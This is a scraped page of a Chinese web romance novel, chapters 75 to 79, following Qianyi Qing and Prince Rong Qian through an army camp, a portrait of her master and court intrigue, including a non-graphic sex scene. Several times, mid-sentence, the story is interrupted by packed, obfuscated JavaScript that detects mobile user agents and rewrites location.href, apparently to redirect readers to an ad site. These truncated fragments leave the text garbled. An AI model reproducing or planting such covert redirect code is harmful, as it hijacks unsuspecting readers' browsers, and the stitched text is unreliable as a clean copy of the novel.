l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118664|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 容潜的动作很利索,繁重的铠甲很快被他穿戴整齐,朝千裔清望去:“怎么这么看着我?” 千裔清摇摇头:“就是觉得你真好。” 容潜挑眉:“现在才发现?” 倒也不是现在才发现,只是现在才觉得他的好特别招人待见。 她反问:“晚了吗?” 容潜捏了捏她的脸,柔软的触感让人不想放手:“倒也不晚。” 见惯了身穿华服的崇安王,千裔清还未仔细看过这种装扮的容潜,昨天白日只顾着和他生气没好好端详,后来他被手下小将叫去商讨军事,直到夜里才匆匆而归。 时至今日,千裔清才发现这样的容潜也是极好看的。 她由衷的夸了一句:“你穿铠甲也很好看。” “是吗。”容潜顿了顿,眯着眼问道,“那......我和二哥比谁好看?” 容瑾的姿容几乎是整个夜南公认当之无愧的第一,容潜本也没打算从她嘴里听到什么好话,左不过是故意撩拨一下,看看她会说些什么。 然而千裔清想也不想:“你比他好看。” 容潜一怔:“撒谎。” 可嘴角那不由自主抬起的弧度分明在说:他很受用。 - 战场上千裔清帮不上忙,军务她也插不上手,加之容潜也让她待在营帐处不要乱跑,千裔清不敢给他添麻烦。 至此,千裔清当真有了一种自己是个废物的实感。 时间已到七月,初来不过几天,千裔清却适应的很快,她偶尔和驻守的军医讨论些医理,也帮忙整理药物。 年纪大些的见多世面,对一些个奇闻异事兴致缺缺,只专心做自己手头的事去,年纪轻的几个倒很有兴趣,他们最大的兴趣当属“鬼医”官朗州。 听说官朗州年轻时就是医术高明的大夫,十五岁就接管了自家医馆生意,十七岁已经远近闻名,救死扶伤不在话下,然而最为让人感兴趣的应该还是他为何会一个人住在满是毒瘴的山上,寻常人上山尚是难事,而官朗州却能安然住二十余年,莫非真的是“鬼”? 千裔清对其中之事其实也只是一知半解,更细节的事官朗州不愿提起,她也就不问,便把大概了解的一些告知他们,证明这世上真的没有什么鬼神。 其中一个年轻的军医沉默半晌,突然道:你说的那个官朗州我见过!” 另一人则不信:“你见过?真的假的!” “是真的!”他想了想,“我在这里已经待了半年多了,从未回去过,大概上月初的时候我见过那个人。” “我在这里都待了一年了,我怎么没见过你说的这个人?” 那位军医仔细思索了一番,又说:“我那会儿见到他的时候,他的确看起来很虚弱的样子,他说他要去绥夏,被当时驻边的几个兄弟教训了一顿,后来怎么样就不知道了!” 不......不会死了吧...... 千裔清心里咯噔一声,还没来得及问,那人又说了:“不过他应该没事,若是死了应该能见着尸体才对。” 呼......还好...... 这么说来应该是还活着的,那他去哪了呢?难道真的去了绥夏? 越过层层把守进入绥夏应该不是容易的事,而且官朗州是个手无缚鸡之力的病人,即便他避开夜南军的眼线,绥夏人一见他这打扮,应该是格杀勿论才对吧! 76. 想听 不论兵力还是粮草,甚至于对敌方部署的了解程度,绥夏都比不得夜南,显然,兵败已成定局。 只是绥夏军方仍在顽抗,不愿意就这么被劝降,再这样下去无非是多些伤亡,改变不了什么。绥夏打着鱼死网破的心态,而夜南军却不想损兵折将,前日就派人送去坤京急报,请皇城下令增加兵力好一举拿下。 不过不是以崇安王的名义,而是以诸军联名,预计不久就能到了。 可是这一切都不合常理,绥夏不该这么快就兵败如颓势,从边境到皇城的急报也不应该这么顺利送到,就算送到了,璟王也该有行动才对,可为何没有?这么久了,谢子源传来的消息仍只有四个字“一切如常”,他们更是连一个形迹可疑的人都没发现。 容潜第一次对自己的部署产生怀疑,若璟王不行动,他要如何拿到他勾结绥夏的证据,如何将他的假面撕破公之于众,如何让容烨满意...... 难道璟王突然改变主意,放弃这次机会了? 容潜百思不得其解,千裔清又何尝不是如此。 夜色如潭,营帐内点上数盏煤油灯也不见得有多亮堂,因此千裔清近俯在案上的动作就显得格外可怜,像是要把脑袋塞进纸张里去似的。 容潜掀起门帘,一眼就瞧见她这副用功的样子。 他脚步停下一瞬,收拾好略带愁绪的倦容,勾起唇角向趴成一团的小小影子走去。 她的脚边有几张作废的纸张,涂鸦成一团乱麻,胳膊肘底下压着的宽大的宣纸上墨迹斑斑,描绘勾勒的线条被涂抹修改了数次,看起来参差不齐,隐约能看出是个人形,但不知是男是女,至于五官什么的更是全然看不出了。 这若是画的哪家病故老人,估摸着人家从地底下爬出来也要追她三条街为自己证名。 容潜张了张嘴,不知道作何评价,于是道:“晚饭没怎么吃,就是在忙这个?画的什么?” 千裔清仰起头,脸上看起来为难的可怜:“......我师傅。” 容潜:“......” 容潜:“你师傅若见了你给他画的肖像,兴许就没你这个徒弟了。” 容潜没见过官朗州,但理智告诉他,但凡是个人都是长不成这种样子的,他无需评判千裔清画的像不像,但总归不像个活人。 千裔清知道自己但凡沾点文墨的东西都做不好,画画更是别提了,她自己也觉得难以入眼,否则也不会扔掉这么多废稿。 重重叹一口气,千裔清把笔一撂,颓然道:“我知道我画的不好。” “无妨,等回去我再慢慢教你。”容潜握着她的手,拿帕子沾着碗里的水,一点一点擦净她指尖的墨迹,一边同她聊着,“想你师傅了?” 千裔清点点头,又摇了摇:“是也不是......” 她抬起头望着容潜,问道:“听说师傅来过这里,很有可能去了绥夏?” 容潜“嗯”了一声,颔首:“我知道这件事,军中有人见过他,那人自称是夜南来的大夫,姓官,官姓在夜南并不多。” 看来师傅还真的来过,那既然如此,十有八九人已经在绥夏了,到了绥夏可真是难以保证生死了! 千裔清听完又叹了口气:“师傅也真是的,他那半截入土的身子就敢一个人过来,也不知道方幼渺是不是真的在绥夏......” “你说什么?”帮她擦手的动作一顿,容潜的脸上露出几分惊讶,“方幼渺在绥夏?” 千裔清把来时遇见重云门弟子的事说了一遍,又道:“你不是跟喻门主有交情吗?我还以为你早就知道了。” 容潜抿了抿唇,面色不善。 不是谢子源他们刻意隐瞒,而是无论方幼渺还是官朗州,他们和国事都没有什么关联,在所有人看来,不过是一个绝迹江湖的人偶师和一个神出鬼没的没落大夫而已。 只有容潜知道,这之间多了一个人,一切就都不一样了。 ——越曦。 容烨对攻下绥夏这件事突然变得焦灼不安是在那日见过太后以后,现在想来,他恐怕是知道方幼渺在绥夏了,因此在出了佑王这档子事之后,容烨的气愤之下竟隐约能瞧出一些兴奋感,起初容潜不甚理解,以为是自己看错了,但现在......他好像懂了。 可皇兄啊皇兄,你若真想尽早打下绥夏大可直说,何必要演这么一出?是觉得他容潜没什么把柄就不会尽心吗? 千裔清眼看他脸色越来越阴沉,小声试探:“你怎么了?” 容潜回神,望着她关切的目光,突然明白千裔清为什么这么讨厌这座皇城。 这座富丽堂皇的都城,四四方方像个囚笼一般,处处是勾心斗角和精于算计,真心?更是没有的。哪怕面对面站着的是你的亲兄弟,你也看不清对方在想些什么。 ......不,他说错了。 他从来没有什么亲兄弟。 “我——” “你要是不想说就算了!”千裔清打断他,而后看着容潜微微愣住的表情笑了笑,认真道,“我是说真的,你说过你不想骗我,所以有些事情你不方便告诉我,我就等你愿意说的那一天。” 容潜又是一怔,心底有什么似乎在升腾,抑制不住的,他抚上眼前触手可及的白净小脸,微凉,软软的。 果真比刚遇见那会长肉了。 容潜由衷道:“其实也没什么不愿意说的,只是觉得说出来太影响心情,和你在一起珍惜还来不及,提那些做什么!” “我明白,其实我来了这么几天,每天都看你在忙,自己又什么都帮不上。”千裔清默了默,继续道,“我知道你很厉害不需要我为你做什么,可是我好喜欢你,我不想做个没用的废物,那样配不上你。” 容潜陡然蹙眉:“你说什么?” 他的表情有些严肃,千裔清被他的神情扰得无措,声音也小了几分:“我说我不想......” “前一句。”他提醒道。 前一句? ......好啊!他故意的! 眼看着容潜的神色渐渐暖融,携带而来的是他抑制不住的笑意,眉梢、眼尾、唇角,都是弯弯的,亮亮的。 千裔清意识到自己被戏耍了,方才他是故意装作一副不高兴的样子让她慌神。 然而今时不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122920|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同往日,千裔清没因为自己被戏耍而感到不悦,也没觉得在他面前慌张有什么丢人的,她只是觉得很开心,此刻的她正在一遍遍、一天天的认清自己的感情。 而认清之后的这种愉悦和坚定,是任何东西都阻碍不了的。 千裔清故意拖慢了音调,戳着他的侧脸歪头问道:“你就这么想听我说喜欢你?” 他没半分犹豫,很坦白的回答她:“想听。” 天知道往日听她说那么一句好听的话,那么简单的两个字是有多艰难。 于是千裔清双手捧上他的脸,神情认真而专注,一字一句吐露自己的心意:“我好喜欢你,现在喜欢你,以后还会更喜欢你。” 清清楚楚,明明白白。 容潜从来都清楚自己的目的,清楚自己时至今日所做的这一切都是为了什么。 就是为了这句话。 如黎明破晓,如冰雪逢春,许久以来极力克制和压抑的情绪在此刻尽数恢复蓬勃,隐藏在眼底的暗涌正在疯狂叫嚣。 容潜望着她,喉结滚了一下,而后伸手从她腰际扶上,下一刻,千裔清便被他轻搁在桌面上。 他的唇急不可耐的随之覆上,带着比盛夏更加灼人的温度和无比熟悉的气息,侵占她口齿的每一寸,每一个角落。 “你、你先等等。”好不容易空出一丝间隙,千裔清推着他胸膛担忧道,“这里是军营......待会被人看到怎么办?” “他们不敢进来。”这么说着,那层缠人的外裳已经被他熟练剥下。 依照容潜原本的性子,他可能会更蛮横一些,但若那样,这件衣裳怕是就不能要了。此处毕竟不是家里,千裔清随身带的就那么两件,女子脸皮薄,他还真怕千裔清气得不再理她。 千裔清还是有点为难:“可他们会听到......” 身上的夏衫总算是完好无损离开她身上,容潜掐着她脚踝的手微微一转,顺着玉藕线条向上移动,架着它搭上自己的肩头。 中间没有停歇,容潜把自己的半身更加压上她,在耳边安抚:“那咱们小点声。” 千裔清咬了咬唇,低声祈求道:“那你轻一点。” “好。” 禁欲久了的男人是很可怕,譬如昨天容潜答应的很爽快,可后来这些话都是不做数的,要不是她自己死命捂着自己的嘴没让声音溢出许多,换作在王府的时候,她的嗓子恐怕已经哑了。 到了后半夜,千裔清怕人知道,拖着快没直觉的两条腿踢他一脚,催他悄悄去打水,面对这种条件,只能擦一擦,简单冲洗一番。 容潜看她愁眉苦脸的,情绪不佳,以为千裔清还在生自己的气,有点委屈道:“我已经很轻了,再说,你不是也很喜欢?” 千裔清瞪他一眼,容潜欲言又止的口立刻闭上。 她瘫软在容潜胸口,指尖有一下没一下的戳着对方侧脸一圈青黑的胡茬,问道:“我们什么时候能回去?” “快了。”帮她擦干净后,那条绢帕被随手丢在水盆里,容潜继续帮她穿衣裳,又保证道,“是真的快了!” 待到援军抵达,一切就尘埃落定了。 77. 画像 援军到达的时间与众人推测一般无二,斥候送来消息,约莫着再过一日就能会合。 容潜难得睡醒没出帐子,身着常服,坐在桌前看的也不是文书。长发半蓄,散落的一缕碎发遮住几分侧脸,露出精致的下颌以及雕刻般的下巴。 千裔清一睁开眼睛看到的就是这样一副光景,自古男子都说看美人是件十分赏心悦目的事,此刻倒是能够感同身受了。 大约是余光瞥见她撑着手臂面带欣赏的样子,容潜放下直接捏着的涂鸦,转头望向千裔清,嘴角噙着笑意:“离这么远看得清吗?过来看。” 千裔清玩味的瞧着他,松了松有些酸麻的手臂,没起身。 容潜挑眉,扬起他手中昨日捡起的画稿:“你要是不过来,我可就不帮你作画了。” 作画? 千裔清眼睛一亮,立刻翻身起来,一丝犹豫都没有。 她三两步凑过去,刚要扯过容潜手中的画纸,又被那人一手按着脑袋推开。 容潜指着给她备好的水,方几上还有热着的糯米饭。 千裔清梳洗完,一心牵挂着画像的事,随便塞了几口便挤回容潜身边,这一看,她就又觉得失望了。 眼前这张纸分明就是她昨天没画完的那张,涂抹的乱七八糟、鬼不像鬼,感情又在诓她。 容潜屈起手指敲了敲桌面,沉吟道:“为何非要为官朗州画像?” 千裔清摇摇头:“我只是希望军中的兄弟择日攻城之时若能见着他,能够将他好生带回来,至少留他一命,不要错杀了,他本就余寿将尽,我不想他抱憾而终。” “他要死了?”容潜曾听喻景淮说起过鬼医的事,没曾想是真的。 昔日听起鬼山被烧,他还以为官朗州已经寻得自救之法才会下山,没想到竟是拖着残躯追寻旧人。 唉,倒也是至情至性。 千裔清神色恹恹,望着画纸惋惜道:“可惜你没见过他,不然画出来给众人看一眼也好,我师傅他很好认的。” 容潜见不到她失望的样子,拉着千裔清在自己腿上坐下,从身后揽着她,下巴搁在她的肩头:“无妨,你来描述,我来执笔。” 千裔清讶然:“这样真能画出来?” “试试看。” 容潜提起笔,在她作废的纸上重新勾勒,一边听她叙述,一边沿着已经画出的轮廓修改。 眼睛再大一点,圆一点,还有下巴,要更削瘦一点...... 这样画起来其实并不省力,原稿被改了无数次才只是简单定型,誊到干净纸张时,千裔清觉得还是不像,因此便又改。 一来二去,时间已过了晌午,千裔清捧着营中刚烧好的饭食进帐,容潜的眉头依旧紧锁着,颇为认真。 不过没多一会儿,容潜搁下笔,低头抖了抖手中墨迹未干的宣纸,问道:“这样如何?” 千裔清惊讶道:“已有七八分像了!” “七八分......”容潜沉吟片刻,还是觉得不满意,抬手就要涂了重作。 千裔清眼疾手快拉住他,阻止道:“这样就可以了,已经很像了!” 千裔清敢打包票,这张画纸拿到自己面前她一定可以一眼认出。 容潜抿了抿唇,摇头道:“你觉得像是因为你与他熟悉,若是换了我手底下的那些人,他们未必能认得出。” 容潜十分坚持,千裔清劝不动他,便由着他再改,这一改又是半个时辰。 千裔清觉得有九分相似了,容潜毕竟没有见过官朗州,画成这样已是极难得。 她满心欢喜的捧着画纸,唇边笑意越浅,心中疑虑越深。 容潜仰着头看她,以为千裔清对画像还是不满意:“怎么了?我再改改?” 千裔清定定瞧着他,默默放下手中的纸,道:“你是不是有什么瞒着我?” 太殷勤,也太费心了,这些原本都是微不足道的事,何至于如此吹毛求疵去做,直到她一点儿挑不出毛病的势头去做。 容潜无奈地看着她:“讨你欢心不行么?或者......就当我为昨晚的事道歉?” 千裔清忍不住摸了摸颈边紫红色的印痕,有些不自在的拉起衣领遮住,可惜那痕迹太过明显,任由她怎么欲盖弥彰都是无用的。 虽是说到这了,千裔清也并没信服,挑起他的下巴半威胁道:“你要是现在不说,待会说什么我可是都不再听了!” 容潜面色一滞,顺势拉着她的手指放在唇边一吻,微微弯起眼睛:“那......我求你帮我一个忙,好不好?” 千裔清抬手示意他继续说下去。 容潜顿了顿,握着她的手指带着一些紧张的力度,缓缓开口:“回坤京,好不好?” 千裔清的脸色顿时阴沉下来,一改方才调笑的样子,用力甩开他的手。 “不好!”她蹭的一下起身,向后退了两步,同容潜离得远远的。 为什么又要赶她走!为什么出尔反尔! “不是说好让我留下的,不是说好一起回去的!” 容潜叹一口气,她退一步,他便跟上一步,直到把人抵在营帐边上,头上的发簪刮在身后承重的木板上。 容潜解释道:“援军明日就会抵达营地,届时夜南军会一举攻入绥夏,运气好,对方降了我们,运气不好,许是要打上几天几夜。你先回王府,战事一结束我就回去找你,我保证!” “战场之上刀剑无眼,你保证?你怎么保证?”千裔清冷着脸,手指在身侧攥的发白。 他的确没办法保证,或者说,即便他保证了千裔清也不会信。 他明白,所以无法回答她的问题。 良久,她缓缓松开,别过脸一把将容潜推开:“好,我回去。” 在他略显惊愕的眼神中,千裔清默不作声的收拾包裹,统共也没几样,三两下便收拾好了。 难得见到容潜一副做错事不知道怎么认错的样子,跟在她后面转了几圈。 可他也没想通千裔清为什么突然同意了,该不会回去之后就跟他玩失踪吧! 想到这种可能,容潜忍不住试探:“为什么又改主意了?” 千裔清神态自若道:“我知道我在这里只会给你添麻烦——” “我没有说你是麻烦的意思。”容潜怕她误会,明明自己是因为担心她的安危,怕自己不在顾不到她。 千裔清怎么会不懂他的意思,只是她自己也很有自知之明,自己待在这里虽是添不了多大麻烦,但能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128015|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮上忙的地方也是微乎极微,如果是这样,她宁可不要让他担心,让他安心赴战。 如此,才能多一分机会和他再见。 “我听到你和陈将军的对话了。”千裔清冷静的看着他,“我不是故意去偷听,只是凑巧,我知道你在等璟王动作,可他迟迟没有消息,对不对?” 营帐的隔音不好,听到一些也无可厚非,再说陈开嗓门大也不是一天两天了。 也好,他不想瞒着的。 容潜“嗯”了一声,眉宇间露出几分疑惑:“为何突然提起这个?” 千裔清还知道,斥候送来的信报,容烨也对此事丝毫未提,容潜心中对此事有诸多疑惑,但他现在忙于军事,必然脱不开身。 索性她留在这里也帮不上忙,回去就回去。 倒不如回去。 千裔清抚上他的脸,认真说道:“我回去,坤京的事有我和陆离,你信不信我?” 容潜怔然,随即按着她的手捏了两下,提起唇角一字一句:“我信你。” “好!”千裔清扬唇一笑,方才的不悦似乎一扫而空,以一种轻松的语调,指着桌上的画像,“那这个——交给你了?” “待会我便让人绘好摹本给每队人马分发下去,若在绥夏境内见到官朗州,一定尽力将他带回。”容潜学着她的口吻也问了一句,“你信不信我?” 千裔清没说话,故意凝重脸色,勾着他的脖颈趴在颈侧咬了下去。 这一口力道很大,颇有泄愤出气的意思,直到口中浸了血腥味,容潜扶着她的脑袋,任由她下口。 “牙印彻底消失之前,你要回来。” “好。” “迟一天,我就多咬你一口。” “好。” “不许轻敌,不许受伤。” “好。” 千裔清终于忍耐不住,皱着眉头提出意见:“......你能不能说点别的?” 容潜哑然失笑:“你想听我说——不好?” 千裔清抿了抿唇,收敛起不满,郑重其事道:“容潜,我从来不信鬼神,这话旁人或许会忌讳不敢说,但我一定要和你说清楚。” 容潜陡然伸出手,对着她正在开合的快速下手,捏起时,她的嘴唇微微撅起。 容潜接下她还没说完的话,一句一句清晰平静:“你想说,如果我不回来,你就永远不原谅我,你会和我一起死,对不对?” “你怎么知道?”千裔清被他捏着,口齿还有点不清晰。 容潜松开她,拇指在她唇上留恋的蹭了蹭,笑道:“我当然知道,因为我与你心有灵犀。” “你不必信鬼神,所有一切,你只需信我,我对你说到做到,始终如一。” 说到做到、始终如一。 这八个字或许每个人都曾说过,也曾对其他人许诺过,甚至不下百次千次。 无疑,这是十分敷衍的八个字,是虚妄可笑的八个字,是不能信服的八个字。 千裔清一直是这么认为的。 直到此时此刻再一次从眼前这个男人口中说出,掷地有声,字字坚定。 她没由来的想信,要信。 神佛虚妄不可信,但若是容潜,他一定做得到。 78. 回京 刚过中午,夜南的援军抵达境外。 千裔清则跟着原驻伤员的队伍一同返还。 临行前,她和容潜只远远的相互看了一眼,什么也没说,却心照不宣的笑了。 千裔清原本就不是矫情的人,况且她明白容潜有正事要做,此刻也并非矫情的好时机。 来日方长。 来日方长,容潜也是这么想的,从一开始。 - 回去的路程十分顺利,不过因为车上有许多不便行动的伤病残将,行速是慢了些,又多耽搁一天。 入京之前,千裔清让人骑着快马先去崇安王府告知陆离,果然刚到城外,远远就瞧见陆离已经在等候了。 崇安王府有陆离亲自来接,随行的将士自然也能放心,这才把先前从重云带来的马归还于她,回城复命去。 千裔清遇上谢子初那天,重云早已派人送去消息通知陆离,而后容潜他们也一直都有联系,陆离见到她回来并没多惊讶,只是感叹这位主子果然是个会添麻烦的,自己这小命早晚要丢在她手上。 还好这次是虚惊一场。 两人并驾而行,陆离也不清楚璟王府上到底出了什么事,他只知道璟王在千裔清离开的那天照例进宫瞧了太后,之后问起,似乎是没从宫里回来,像是在宫中小住一般,旁的一切如常,没什么不同的。 陆离突然想起:“哦,璟王妃隔日倒是来府里找过您,不过见您不在她就走了,问她什么也都不肯说,看起来挺着急的。” 祝音这会来着她会有什么事?要么是知晓她出城的消息看看她有没有回来,要么就是为了璟王彻夜未归的事。 但千裔清不觉得璟王府会直到她出城的消息如此之快,想来想去,似乎第二种可能更加合理。 不回府了,先去璟王府看看! 陆离闻言跟上,所幸璟王府离得不远,没一会就到了。 璟王府外,宽阔的石板路清扫的干干净净,一如既往,连片落叶都没有。门外的镀金像也擦的锃亮,更别提漆红的朱门和沉重的门环。 大门紧闭,外头清净,里头的天空和门外相差无几。 陆离冲千裔清微微颔首,先一步上前拍门。 少顷,大门从里头打开,身着家丁服的年轻男人探出头来,见是陆离,便立刻把门打开欢迎:“是陆离大人啊!您怎么来了?王爷不在!” 千裔清提着裙摆缓缓来至门前:“我们不找你家王爷,我找璟王妃。” “您是......” 千裔清挑眉,陆离紧接着沉声道:“这位是崇安王妃,也是你家娘娘的好友。” 那小厮挠着头一脸惶恐:“噢......是崇安王妃啊!那个,实在对不住,璟王和璟王妃都不在府上。” “都不在?”千裔清垂眼思索片刻,托着下巴问,“他们去哪了?” 小厮想了想:“唔——太后病着,王爷进宫去探望太后了,王妃刚刚出去,也没跟咱们说去哪,这小的便不清楚了!要不......您进来等?” 陆离看了看千裔清,两人相视一眼,他道:“不了,那我们改日再来。” 小厮笑道:“王妃娘娘慢走,陆离大人慢走!” 两人走远,小厮毕恭毕敬地行了一礼,这才把大门重新关上,待客之仪让人挑不出毛病。 陆离脸色微微一变,面上顿了顿,道:“他不是璟王府的人。” 千裔清“嗯”了一声:“我知道。” 那人见陆离第一眼脱口而出陆离大人,定然是见过陆离,甚至并非简单的一见,他知晓陆离有官职。可陆离自从容潜与之交往变少之后就极少来璟王府,即便是来,他也从不正面与府上人打交道,最近的一次应该是千裔清来的那日。 这人却不认识千裔清,若说他是新来的,早在两年前千裔清也来过璟王府,其他下人都是认得她的。 熟悉陆离却不认得她,这很矛盾。 接着,陆离给了她一个更意外的答案:“他是宫里的人。” 千裔清惊讶地望向陆离:“你怎么知道?” 陆离沉吟:“我在宫里见过他。” 那人在宫里当差,自然是一定认识陆离了,陆离进出皇宫的次数比之去璟王府可是多了千倍百倍,只是他没想到陆离会记得他。 其实也不怨他不够心细,陆离自小跟在容潜身边,要提防的冷枪暗箭多不胜数,尤其是皇宫,那里是最难以招架的地方,陆离自然是尽可能把每个人的脸都记得,生面孔也会留意,换了旁人必定很难做到。 也只有陆离,如此尽责。 “这么说他是皇上的人。”千裔清脸色也不好,方才那人大大方方请她们进去等,一副有恃无恐的样子,她想到,“祝音一定在璟王府,而且她被限制了行动。” 陆离点头:“没错,这样看来璟王一定也在宫里,那这件事的幕后之人是太后?没道理啊......她扣下璟王做什么?” 恐怕这件事并非太后所为,或者说,不止太后一人所为。 千裔清暗叹一口气:“陆离,适才忘了告诉你我师傅可能在绥夏,因为......方幼渺在绥夏。” “方幼渺?”陆离一愣,接着很快就想通了其中缘由,“难怪皇上会这么着急,是因为觉得你指望着不上,这才重新考虑寻回方幼渺吧?” 什么叫指望不上...... 话虽然不好听,不过也没错。 千裔清撇嘴:“而且,皇上一早就知道璟王有意争权,这次的事他要万无一失,否则也不会拿佑王当借口来拿捏容潜。” 听了这话,陆离突然神色变得古怪,偏头看了她一眼。 千裔清怔然,难道她说的不对? 陆离张了张口,别别扭扭的说:“你真以为皇上会因为佑王的事对殿下发难?我提醒你一下,佑王的生母是如太妃,皇上的生母是太后,她原本有三个皇子,四皇子容朝和六皇子容皓才是他的亲兄弟,所以你放心好了,皇上不会因为这些事对殿下做什么的,咱们夜南没了崇安王可不行!” 千裔清听懂了,似懂非懂的点点头。 陆离能想通的事,千裔清能听懂的事,容潜不可能会不懂。 那他为什么还要乖乖听话,就这么想做一个好弟弟?还是出于他崇安王的责任? 这点她不懂。 陆离见她还在考虑,好心提醒道:“其实自打你回京的第一天起,皇上就答应了殿下,若他顺利攻下绥夏,就为你们二人赐婚!” “赐婚?!” 这下轮到千裔清目瞪口呆了,什么赐婚,她怎么从来没听说过,容潜也从来没有提起过啊? 陆离十分鄙夷地撇了撇嘴:“其实,殿下是怕你不愿意自己逃了,这才一直没敢告诉你。要知道,皇上赐婚可是至高无上,只要皇上肯开口,这世间再也不会有人议论你的出身和来历,也没人敢像从前议论殿下那样议论你了。” 他摇了摇头:“其实殿下自己从来不在意这些的,但他怕你觉得委屈。从前的事,他一直很后悔......嗯?你眼睛怎么红了?” 千裔清仰起头眨两下眼,勾起拇指悄悄抹了把眼底,没好气地瞪他一眼:“风大,进沙子了!” 陆离歪着嘴嗤笑一声:“哭了就哭了,还进沙子。” 千裔清加快脚步,冷然道:“你的嘴如果不想要可以继续说下去。” 陆离咂咂嘴,到底是相处久了,跟殿下说话方式都一模一样。 千裔清其实很少掉眼泪,上一次掉眼泪已经不记得是什么时候了,她大多时候对一切都能很平静的去看待,就算有委屈或喜悦,也总像春日冰雪迅速消融,最后归于沉寂。 可她第一次觉得如此庆幸,还好她不是失心疯,还好她承认自己对容潜的感情,还好她没错过。 差一点,她就错过他了。 - 七月的日头晒得人头晕,陆离牵着马跟在千裔清身后,也不知道她这是要去哪。 千裔清其实也没想好,依照常理,知道璟王有谋反意图理应除之而后快,都已经将人囚禁皇宫这么久了,早就应该动手的。 可当今皇上不是旁人,他是容烨。 千裔清又总觉得他不至于下狠手,否则为何还要派人悄悄将璟王府的下人替换了,好软禁祝音? 坤京一切如常,像是什么都没发生过一样。 这座都城这么大,中心坐落着筑起高墙庭院的皇宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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容烨这才回过头让她起身,眼中却没有丝毫惊讶:“你来了,坐吧。” 千裔清对他的反应也不觉得意外,心中更加断定璟王的事和他有关,反问道:“皇上知道我要来?” 听闻这话,容烨提了提唇角,目光从手中依赖,那双桃花眼微抬,就这么直落向千裔清的脸。 “渺渺那丫头去找过你。”他的语调缓慢而沉稳,“你是为二哥来的,你想救他?” 容烨把这些事都知晓的如此清晰,那璟王府上的人定然是他安排过去的,无需再拐弯抹角。 千裔清道:“其实是皇上您想救璟王吧?” 容烨没说话,换了个更闲适的姿势面对她,漫不经心的挑眉:“哦?” 既然容烨问出是不是要救璟王这种话,那就表明璟王一定没有出事,至少现在他还活着。 千裔清笑了笑:“到底还是您看重兄弟情义,我记得您与崇安王原本是打算将璟王和绥夏勾结之事敲定,而后一起一网打尽的,怎的现在突然提前发难,将璟王控制在了宫里,因为您知道此事一但闹大,璟王就再没有回头路可走了,不是吗?” 容烨默默听完,手指在金缕暗纹的桌巾上敲了几下,比他冗长的叹息声还要沉闷。 而后他起身,看着千裔清缓步走近:“你很聪明,比以前似乎更聪明了一点。” 置死地而后生的人总归会成长的。 千裔不置可否:“在皇城脚下讨生活,不学着聪明一些,岂不是要和以前一样死的很难看?” 千裔清没觉得他是在夸自己,她在意的是另一点:“我只是想知道,你把身边所有能利用的人几乎全都利用起来,把自己摘的干干净净,维护你至高无上明君的品行,你待人至多七分诚意,像你这种人,可知道真心为何物?” 这种大逆不道的话寻常人不敢说,从前的千裔清更是不会如此质问他。 可容烨却一点没生气,毫不在意的说:“我知道。” 千裔清笑道:“是吗?皇上也有全心全意付出真心的人吗?” 是太后,是先帝,还是...... “她死了。”容烨淡淡回答,叙述结局的表情淡然的像是在讨论别人的事。 而后他笑了一声:“她死了,被我最爱、最信任的母后,害死了。” 或许是时间过去很久,或许是他天生善于隐藏,以至于他说出这句话时轻飘飘的语气听不出半分伤感,若非眼角流露出一瞬毫不加以掩饰的恨意和讥讽,千裔清还以为他是在讲故事,全然不像在诉说自己的遭遇。 79. 遗憾 这些话也是可以随便对人说的吗? 这么堂而皇之的听去,不会马上就要被灭口了吧...... 容烨似乎知道她在想什么,摆摆手转身,重新坐回那把龙椅。 容烨安抚道:“别紧张,今日这书房只有你我二人,就当作老友叙旧,你也和我说说你吧。” 说着,他抬手示意千裔清坐下。 这下,千裔清再拒绝似乎也没什么意思了,于是她轻巧的转过身,随意坐在离他最远的椅子上,撩起眼帘:“皇上想听什么?” 容烨沉吟片刻,看着她缓缓道:“就说说......你的真心?” 他的手指生的很好看,白皙修长,掩藏在宽大的袖口之中,落在龙椅两侧,指腹在金雕镶了红珠的龙头上摸索着,感叹道:“九弟这个人就是这样,爱憎分明,谁对他好一点他就加以回之,谁若是欺骗于他那便再不回头,他对二哥如此,对昭明如此,对我也是如此。可我很好奇,你当初那么利用他,怎么他还对你死心塌地的?” 千裔清挑眉,半开玩笑的说:“或许是因为我长的好看。” 容烨微微垂下眼睑,翻过脑海中的回忆,想到美好之处扬了扬唇:“越曦也很好看。” 说完,他又略带惋惜的摇了摇头,暗叹一声。 江依斐,尚书江渝的女儿。 千裔清听祝音提起过,但没见过,只知道是个颇具才情,温柔贤惠的女人。 唯一的缺点就是太听话了,什么都听家里的,谨记恪守做女儿的本分。 这样的人太后都不满意,更何况是出身异族的越曦了。 千裔清顿了顿,看着容烨问道:“她和太子妃很像吗?” “不像,她们是完全不同的两个人。”容烨轻轻提一口气,有意避开这个话题,话锋一转,“其实,如果当初九弟遇见的不是你而是别的女人,只要对他好,他也会同样的死心塌地。” 